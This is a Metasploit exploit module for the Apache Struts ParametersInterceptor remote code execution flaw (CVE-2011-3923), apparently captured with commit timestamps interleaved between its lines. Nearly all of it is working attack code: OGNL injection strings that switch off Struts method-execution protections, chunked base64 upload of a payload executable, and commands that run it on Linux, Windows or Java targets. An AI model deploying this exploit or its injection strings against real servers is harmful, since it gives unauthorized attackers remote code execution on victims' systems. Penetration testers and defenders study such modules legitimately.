2013-07-30 02:43:41 +00:00
##
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-07-30 02:43:41 +00:00
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf :: Exploit :: Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-07-30 02:43:41 +00:00
2013-08-30 21:28:54 +00:00
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: EXE
include Msf :: Exploit :: FileDropper
2013-07-30 02:43:41 +00:00
2013-08-30 21:28:54 +00:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Apache Struts ParametersInterceptor Remote Code Execution' ,
'Description' = > %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2 . 3 . 1 . 2 . This issue is caused because the ParametersInterceptor allows
for the use of parentheses which in turn allows it to interpret parameter values as
OGNL expressions during certain exception handling for mismatched data types of
properties which allows remote attackers to execute arbitrary Java code via a
crafted parameter .
} ,
'Author' = >
[
'Meder Kydyraliev' , # Vulnerability Discovery and PoC
'Richard Hicks <scriptmonkey.blog[at]gmail.com>' , # Metasploit Module
2014-05-08 21:05:41 +00:00
'mihi' , #ARCH_JAVA support
'Christian Mehlmauer' # Metasploit Module
2013-08-30 21:28:54 +00:00
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'CVE' , '2011-3923' ] ,
2016-07-15 17:00:31 +00:00
[ 'OSVDB' , '78501' ] ,
2013-08-30 21:28:54 +00:00
[ 'URL' , 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html' ] ,
[ 'URL' , 'https://cwiki.apache.org/confluence/display/WW/S2-009' ]
] ,
2013-09-24 17:33:31 +00:00
'Platform' = > %w{ java linux win } ,
2013-08-30 21:28:54 +00:00
'Privileged' = > true ,
'Targets' = >
[
[ 'Windows Universal' ,
{
'Arch' = > ARCH_X86 ,
2014-06-11 20:10:33 +00:00
'Platform' = > 'win'
2013-08-30 21:28:54 +00:00
}
] ,
[ 'Linux Universal' ,
{
'Arch' = > ARCH_X86 ,
'Platform' = > 'linux'
}
] ,
[ 'Java Universal' ,
{
'Arch' = > ARCH_JAVA ,
'Platform' = > 'java'
} ,
]
] ,
'DisclosureDate' = > 'Oct 01 2011' ,
'DefaultTarget' = > 2 ) )
2013-07-30 02:43:41 +00:00
2013-08-30 21:28:54 +00:00
register_options (
[
Opt :: RPORT ( 8080 ) ,
2014-05-08 21:05:41 +00:00
OptString . new ( 'PARAMETER' , [ true , 'The parameter to perform injection against.' , 'username' ] ) ,
OptString . new ( 'TARGETURI' , [ true , 'The path to a struts application action' , '/blank-struts2/login.action' ] ) ,
2014-05-09 19:15:28 +00:00
OptInt . new ( 'CHECK_SLEEPTIME' , [ true , 'The time, in seconds, to ask the server to sleep while check' , 5 ] ) ,
2014-05-09 19:35:06 +00:00
OptString . new ( 'GET_PARAMETERS' , [ false , 'Additional GET Parameters to send. Please supply in the format "param1=a¶m2=b". Do apply URL encoding to the parameters names and values if needed.' , nil ] ) ,
2014-05-09 22:19:40 +00:00
OptString . new ( 'TMP_PATH' , [ false , 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!' , nil ] )
2013-08-30 21:28:54 +00:00
] , self . class )
end
2013-07-30 02:43:41 +00:00
2014-05-08 20:15:52 +00:00
def parameter
datastore [ 'PARAMETER' ]
end
2014-05-09 22:19:40 +00:00
def temp_path
return nil unless datastore [ 'TMP_PATH' ]
unless datastore [ 'TMP_PATH' ] . end_with? ( '/' ) || datastore [ 'TMP_PATH' ] . end_with? ( '\\' )
fail_with ( Failure :: BadConfig , 'You need to add a trailing slash/backslash to TMP_PATH' )
end
datastore [ 'TMP_PATH' ]
end
2014-05-09 19:15:28 +00:00
def get_parameter
retval = { }
return retval unless datastore [ 'GET_PARAMETERS' ]
splitted = datastore [ 'GET_PARAMETERS' ] . split ( '&' )
return retval if splitted . nil? || splitted . empty?
splitted . each { | item |
name , value = item . split ( '=' )
# no check here, value can be nil if parameter is ¶m
2014-05-09 19:21:04 +00:00
decoded_name = name ? Rex :: Text :: uri_decode ( name ) : nil
decoded_value = value ? Rex :: Text :: uri_decode ( value ) : nil
retval [ decoded_name ] = decoded_value
2014-05-09 19:15:28 +00:00
}
retval
end
2014-05-08 20:15:52 +00:00
def execute_command ( cmd )
2014-05-09 08:38:19 +00:00
junk = Rex :: Text . rand_text_alpha ( 6 )
2014-05-08 20:15:52 +00:00
inject = " ( # context[ \" xwork.MethodAccessor.denyMethodExecution \" ]= new java.lang.Boolean(false), # _memberAccess[ \" allowStaticMethodAccess \" ] "
2014-05-09 08:38:19 +00:00
inject << " = new java.lang.Boolean(true), #{ cmd } )(' #{ junk } ') "
2014-05-08 20:15:52 +00:00
uri = normalize_uri ( datastore [ 'TARGETURI' ] )
2013-08-30 21:28:54 +00:00
resp = send_request_cgi ( {
'uri' = > uri ,
'version' = > '1.1' ,
'method' = > 'GET' ,
2014-05-09 19:15:28 +00:00
'vars_get' = > { parameter = > inject , " z[( #{ parameter } )( #{ junk } )] " = > 'true' } . merge ( get_parameter )
2013-08-30 21:28:54 +00:00
} )
2014-05-08 21:05:41 +00:00
resp
2013-08-30 21:28:54 +00:00
end
2013-07-30 02:43:41 +00:00
2013-08-30 21:28:54 +00:00
def exploit
#Set up generic values.
2014-05-08 21:05:41 +00:00
payload_exe = rand_text_alphanumeric ( 4 + rand ( 4 ) )
2013-08-30 21:28:54 +00:00
pl_exe = generate_payload_exe
2015-12-09 03:13:23 +00:00
2014-05-08 21:05:41 +00:00
append = false
2013-08-30 21:28:54 +00:00
#Now arch specific...
case target [ 'Platform' ]
when 'linux'
2014-05-09 22:19:40 +00:00
path = temp_path || '/tmp/'
payload_exe = " #{ path } #{ payload_exe } "
2014-05-08 21:05:41 +00:00
chmod_cmd = " @java.lang.Runtime@getRuntime().exec( \" /bin/sh_-c_chmod +x #{ payload_exe } \" .split( \" _ \" )) "
exec_cmd = " @java.lang.Runtime@getRuntime().exec( \" /bin/sh_-c_ #{ payload_exe } \" .split( \" _ \" )) "
2013-08-30 21:28:54 +00:00
when 'java'
2014-05-09 22:19:40 +00:00
payload_exe = " #{ temp_path } #{ payload_exe } .jar "
2013-08-30 21:28:54 +00:00
pl_exe = payload . encoded_jar . pack
2014-05-08 21:05:41 +00:00
exec_cmd = ''
2013-08-30 21:28:54 +00:00
exec_cmd << " # q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'), "
exec_cmd << " # q.setAccessible(true), # q.set(null,true), "
exec_cmd << " # q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'), "
exec_cmd << " # q.setAccessible(true), # q.set(null,false), "
2014-05-08 21:05:41 +00:00
exec_cmd << " # cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(' #{ payload_exe } ').toURI().toURL()}), "
2013-08-30 21:28:54 +00:00
exec_cmd << " # c= # cl.loadClass('metasploit.Payload'), "
exec_cmd << " # c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke( "
exec_cmd << " null,new java.lang.Object[]{new java.lang.String[0]}) "
2014-06-11 20:22:55 +00:00
when 'win'
2014-05-09 22:19:40 +00:00
path = temp_path || './'
payload_exe = " #{ path } #{ payload_exe } .exe "
2014-05-08 21:05:41 +00:00
exec_cmd = " @java.lang.Runtime@getRuntime().exec(' #{ payload_exe } ') "
2013-08-30 21:28:54 +00:00
else
fail_with ( Failure :: NoTarget , 'Unsupported target platform!' )
end
2013-07-30 02:43:41 +00:00
2016-02-01 21:12:03 +00:00
print_status ( " Uploading exploit to #{ payload_exe } " )
2013-08-30 21:28:54 +00:00
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
2014-05-08 21:05:41 +00:00
sub_from_chunk = 109 + payload_exe . length + datastore [ 'TARGETURI' ] . length + parameter . length
2013-08-30 21:28:54 +00:00
chunk_length = 2048 - sub_from_chunk
2014-05-08 21:05:41 +00:00
chunk_length = ( ( chunk_length / 4 ) . floor ) * 3
2013-08-30 21:28:54 +00:00
while pl_exe . length > chunk_length
2014-05-08 21:05:41 +00:00
java_upload_part ( pl_exe [ 0 , chunk_length ] , payload_exe , append )
2013-08-30 21:28:54 +00:00
pl_exe = pl_exe [ chunk_length , pl_exe . length - chunk_length ]
append = true
end
2014-05-08 21:05:41 +00:00
java_upload_part ( pl_exe , payload_exe , append )
2016-02-01 21:12:03 +00:00
print_status ( " Executing payload " )
2013-08-30 21:28:54 +00:00
execute_command ( chmod_cmd ) if target [ 'Platform' ] == 'linux'
execute_command ( exec_cmd )
2014-05-08 21:05:41 +00:00
register_files_for_cleanup ( payload_exe )
2013-08-30 21:28:54 +00:00
end
2013-07-30 02:43:41 +00:00
2014-05-08 21:05:41 +00:00
def java_upload_part ( part , filename , append = false )
2013-08-30 21:28:54 +00:00
cmd = " "
cmd << " # f=new java.io.FileOutputStream(' #{ filename } ', #{ append } ), "
cmd << " # f.write(new sun.misc.BASE64Decoder().decodeBuffer(' #{ Rex :: Text . encode_base64 ( part ) } ')), "
cmd << " # f.close() "
execute_command ( cmd )
end
2013-07-30 02:43:41 +00:00
2013-08-30 21:28:54 +00:00
def check
sleep_time = datastore [ 'CHECK_SLEEPTIME' ]
check_cmd = " @java.lang.Thread@sleep( #{ sleep_time * 1000 } ) "
t1 = Time . now
2014-01-21 19:03:36 +00:00
vprint_status ( " Asking remote server to sleep for #{ sleep_time } seconds " )
2013-08-30 21:28:54 +00:00
response = execute_command ( check_cmd )
t2 = Time . now
delta = t2 - t1
2013-07-30 02:43:41 +00:00
2013-08-30 21:28:54 +00:00
if response . nil?
return Exploit :: CheckCode :: Safe
elsif delta < sleep_time
return Exploit :: CheckCode :: Safe
else
return Exploit :: CheckCode :: Appears
end
end
2013-07-30 02:43:41 +00:00
end